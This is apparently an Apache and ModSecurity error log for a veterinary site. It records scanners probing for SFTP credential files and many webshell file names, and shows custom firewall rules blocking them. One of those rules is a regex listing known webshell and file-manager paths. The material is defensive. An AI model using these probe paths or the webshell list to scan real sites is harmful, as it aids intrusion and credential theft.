[Mon Apr 13 20:00:13.958498 2026] [autoindex:error] [pid 63406:tid 63412] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 20:41:10.988810 2026] [:error] [pid 63406:tid 63433] [client 103.77.107.178:64964] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "adzkZrHZEIkQ0Zmgp5qrMgAAANY"]
[Mon Apr 13 20:41:11.189143 2026] [:error] [pid 63406:tid 63431] [client 103.77.107.178:64982] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "adzkZ7HZEIkQ0Zmgp5qrMwAAANQ"]
[Mon Apr 13 21:35:57.356039 2026] [:error] [pid 7228:tid 7244] [client 168.196.91.57:16494] [client 168.196.91.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.196.91.57, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adzxPQEnn1dQrOSHHNWnmgAAAQ4"]
[Mon Apr 13 22:41:17.599110 2026] [:error] [pid 63309:tid 63325] [client 170.106.143.6:48548] [client 170.106.143.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ad0AjUpIKZ10weXpf0U-IgAAAAw"]
[Tue Apr 14 00:15:11.262831 2026] [:error] [pid 63406:tid 63425] [client 40.89.166.87:46658] [client 40.89.166.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ad0Wj7HZEIkQ0Zmgp5pKCAAAAM4"]
[Tue Apr 14 00:15:24.212917 2026] [:error] [pid 63310:tid 63348] [client 40.89.166.87:2630] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "ad0WnHoXpRU5ztmwPjKF9AAAAEQ"]
[Tue Apr 14 00:15:38.149745 2026] [:error] [pid 63310:tid 63358] [client 40.89.166.87:23487] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "ad0WqnoXpRU5ztmwPjKF-AAAAE4"]
[Tue Apr 14 00:15:45.833450 2026] [:error] [pid 63309:tid 63336] [client 40.89.166.87:29053] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "ad0WsUpIKZ10weXpf0VOYQAAABc"]
[Tue Apr 14 00:15:48.681609 2026] [:error] [pid 63310:tid 63354] [client 40.89.166.87:40942] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "ad0WtHoXpRU5ztmwPjKGAwAAAEo"]
[Tue Apr 14 00:15:50.699701 2026] [:error] [pid 57183:tid 57192] [client 40.89.166.87:31775] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "ad0WtjDO3t8R5NaxzYSxygAAAUc"]
[Tue Apr 14 00:15:52.231476 2026] [:error] [pid 57183:tid 57199] [client 40.89.166.87:23368] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "ad0WuDDO3t8R5NaxzYSx0gAAAU4"]
[Tue Apr 14 00:15:55.749789 2026] [:error] [pid 57183:tid 57204] [client 40.89.166.87:40955] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ad0WuzDO3t8R5NaxzYSx2gAAAVM"]
[Tue Apr 14 00:15:57.010983 2026] [:error] [pid 57183:tid 57190] [client 40.89.166.87:40920] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ad0WvTDO3t8R5NaxzYSx3gAAAUU"]
[Tue Apr 14 00:15:58.462721 2026] [:error] [pid 63406:tid 63425] [client 40.89.166.87:29760] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ad0WvrHZEIkQ0Zmgp5pKdgAAAM4"]
[Tue Apr 14 00:16:00.549355 2026] [:error] [pid 9314:tid 9318] [client 40.89.166.87:25553] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "ad0WwG_r4W8fX2GWyGRziwAAAYI"]
[Tue Apr 14 00:16:01.575037 2026] [:error] [pid 63406:tid 63411] [client 40.89.166.87:37782] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ad0WwbHZEIkQ0Zmgp5pKfAAAAMA"]
[Tue Apr 14 00:16:03.444424 2026] [:error] [pid 63406:tid 63415] [client 40.89.166.87:29424] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ad0Ww7HZEIkQ0Zmgp5pKhQAAAMQ"]
[Tue Apr 14 00:16:05.223244 2026] [:error] [pid 7228:tid 7245] [client 40.89.166.87:24213] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ad0WxQEnn1dQrOSHHNXaMgAAAQ8"]
[Tue Apr 14 00:16:06.411568 2026] [:error] [pid 7228:tid 7233] [client 40.89.166.87:29397] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ad0WxgEnn1dQrOSHHNXaNAAAAQM"]
[Tue Apr 14 00:16:11.260210 2026] [:error] [pid 9314:tid 9319] [client 40.89.166.87:30647] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "ad0Wy2_r4W8fX2GWyGRznwAAAYM"]
[Tue Apr 14 00:16:15.391785 2026] [:error] [pid 57183:tid 57203] [client 40.89.166.87:23144] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "ad0WzzDO3t8R5NaxzYSx9AAAAVI"]
[Tue Apr 14 00:16:16.233558 2026] [:error] [pid 7228:tid 7234] [client 40.89.166.87:29069] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "ad0W0AEnn1dQrOSHHNXaRQAAAQQ"]
[Tue Apr 14 00:17:00.670343 2026] [:error] [pid 63406:tid 63421] [client 40.89.166.87:37495] [client 40.89.166.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "ad0W_LHZEIkQ0Zmgp5pK5AAAAMo"]
[Tue Apr 14 00:17:33.676039 2026] [:error] [pid 7228:tid 7230] [client 40.89.166.87:38484] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ad0XHQEnn1dQrOSHHNXamgAAAQA"]
[Tue Apr 14 00:17:36.424439 2026] [:error] [pid 63406:tid 63414] [client 40.89.166.87:35147] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ad0XILHZEIkQ0Zmgp5pLUwAAAMM"]
[Tue Apr 14 00:17:37.453000 2026] [:error] [pid 63406:tid 63418] [client 40.89.166.87:38890] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ad0XIbHZEIkQ0Zmgp5pLWAAAAMc"]
[Tue Apr 14 00:17:38.371351 2026] [:error] [pid 63406:tid 63412] [client 40.89.166.87:36740] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "ad0XIrHZEIkQ0Zmgp5pLXQAAAME"]
[Tue Apr 14 00:17:39.114743 2026] [:error] [pid 63406:tid 63417] [client 40.89.166.87:38473] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ad0XI7HZEIkQ0Zmgp5pLYAAAAMY"]
[Tue Apr 14 00:17:40.878033 2026] [:error] [pid 63406:tid 63413] [client 40.89.166.87:38874] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ad0XJLHZEIkQ0Zmgp5pLcAAAAMI"]
[Tue Apr 14 00:17:41.422153 2026] [:error] [pid 63406:tid 63429] [client 40.89.166.87:2749] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ad0XJbHZEIkQ0Zmgp5pLdAAAANI"]
[Tue Apr 14 00:17:42.623546 2026] [:error] [pid 9314:tid 9320] [client 40.89.166.87:38481] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ad0XJm_r4W8fX2GWyGR0EAAAAYQ"]
[Tue Apr 14 00:17:44.158212 2026] [:error] [pid 57183:tid 57199] [client 40.89.166.87:23068] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ad0XKDDO3t8R5NaxzYSyigAAAU4"]
[Tue Apr 14 00:17:45.764420 2026] [:error] [pid 57183:tid 57192] [client 40.89.166.87:49628] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ad0XKTDO3t8R5NaxzYSylAAAAUc"]
[Tue Apr 14 00:17:55.835978 2026] [:error] [pid 63406:tid 63429] [client 40.89.166.87:32300] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ad0XM7HZEIkQ0Zmgp5pLggAAANI"]
[Tue Apr 14 00:17:57.808484 2026] [:error] [pid 63406:tid 63431] [client 40.89.166.87:23089] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "ad0XNbHZEIkQ0Zmgp5pLiQAAANQ"]
[Tue Apr 14 00:17:58.642139 2026] [:error] [pid 63309:tid 63329] [client 40.89.166.87:49671] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ad0XNkpIKZ10weXpf0VOjgAAABA"]
[Tue Apr 14 00:17:59.619158 2026] [:error] [pid 63309:tid 63316] [client 40.89.166.87:49602] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ad0XN0pIKZ10weXpf0VOjwAAAAM"]
[Tue Apr 14 00:18:02.648072 2026] [:error] [pid 63406:tid 63432] [client 40.89.166.87:35180] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ad0XOrHZEIkQ0Zmgp5pLnQAAANU"]
[Tue Apr 14 00:18:04.199271 2026] [:error] [pid 63406:tid 63428] [client 40.89.166.87:49604] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "ad0XPLHZEIkQ0Zmgp5pLpQAAANE"]
[Tue Apr 14 00:18:12.551201 2026] [:error] [pid 7228:tid 7233] [client 40.89.166.87:36747] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ad0XRAEnn1dQrOSHHNXatwAAAQM"]
[Tue Apr 14 00:18:13.572847 2026] [:error] [pid 63406:tid 63430] [client 40.89.166.87:38859] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ad0XRbHZEIkQ0Zmgp5pLyAAAANM"]
[Tue Apr 14 00:18:15.790305 2026] [:error] [pid 9314:tid 9333] [client 40.89.166.87:50156] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ad0XR2_r4W8fX2GWyGR0OAAAAZE"]
[Tue Apr 14 00:18:17.412137 2026] [:error] [pid 7228:tid 7239] [client 40.89.166.87:23077] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ad0XSQEnn1dQrOSHHNXauwAAAQk"]
[Tue Apr 14 00:18:21.041717 2026] [:error] [pid 63406:tid 63434] [client 40.89.166.87:50166] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "ad0XTbHZEIkQ0Zmgp5pL1wAAANc"]
[Tue Apr 14 00:18:23.139224 2026] [:error] [pid 57183:tid 57189] [client 40.89.166.87:36780] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "ad0XTzDO3t8R5NaxzYSy9gAAAUQ"]
[Tue Apr 14 00:18:25.236046 2026] [:error] [pid 9314:tid 9318] [client 40.89.166.87:50131] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "ad0XUW_r4W8fX2GWyGR0PgAAAYI"]
[Tue Apr 14 00:18:26.989554 2026] [:error] [pid 9314:tid 9325] [client 40.89.166.87:35800] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "ad0XUm_r4W8fX2GWyGR0QAAAAYk"]
[Tue Apr 14 00:18:28.232537 2026] [:error] [pid 63310:tid 63350] [client 40.89.166.87:50713] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "ad0XVHoXpRU5ztmwPjKGPwAAAEY"]
[Tue Apr 14 00:18:29.271056 2026] [:error] [pid 63310:tid 63361] [client 40.89.166.87:49698] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "ad0XVXoXpRU5ztmwPjKGQAAAAFE"]
[Tue Apr 14 00:19:57.697072 2026] [:error] [pid 57183:tid 57198] [client 40.89.166.87:28598] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "ad0XrTDO3t8R5NaxzYSznQAAAU0"]
[Tue Apr 14 00:20:05.687099 2026] [:error] [pid 57183:tid 57187] [client 40.89.166.87:21313] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "ad0XtTDO3t8R5NaxzYSzqAAAAUI"]
[Tue Apr 14 00:20:08.939762 2026] [:error] [pid 63309:tid 63334] [client 40.89.166.87:26748] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "ad0XuEpIKZ10weXpf0VO3QAAABU"]
[Tue Apr 14 00:20:09.879416 2026] [:error] [pid 57183:tid 57208] [client 40.89.166.87:31398] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "ad0XuTDO3t8R5NaxzYSzswAAAVc"]
[Tue Apr 14 00:20:11.807880 2026] [:error] [pid 9314:tid 9328] [client 40.89.166.87:25951] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "ad0Xu2_r4W8fX2GWyGR05gAAAYw"]
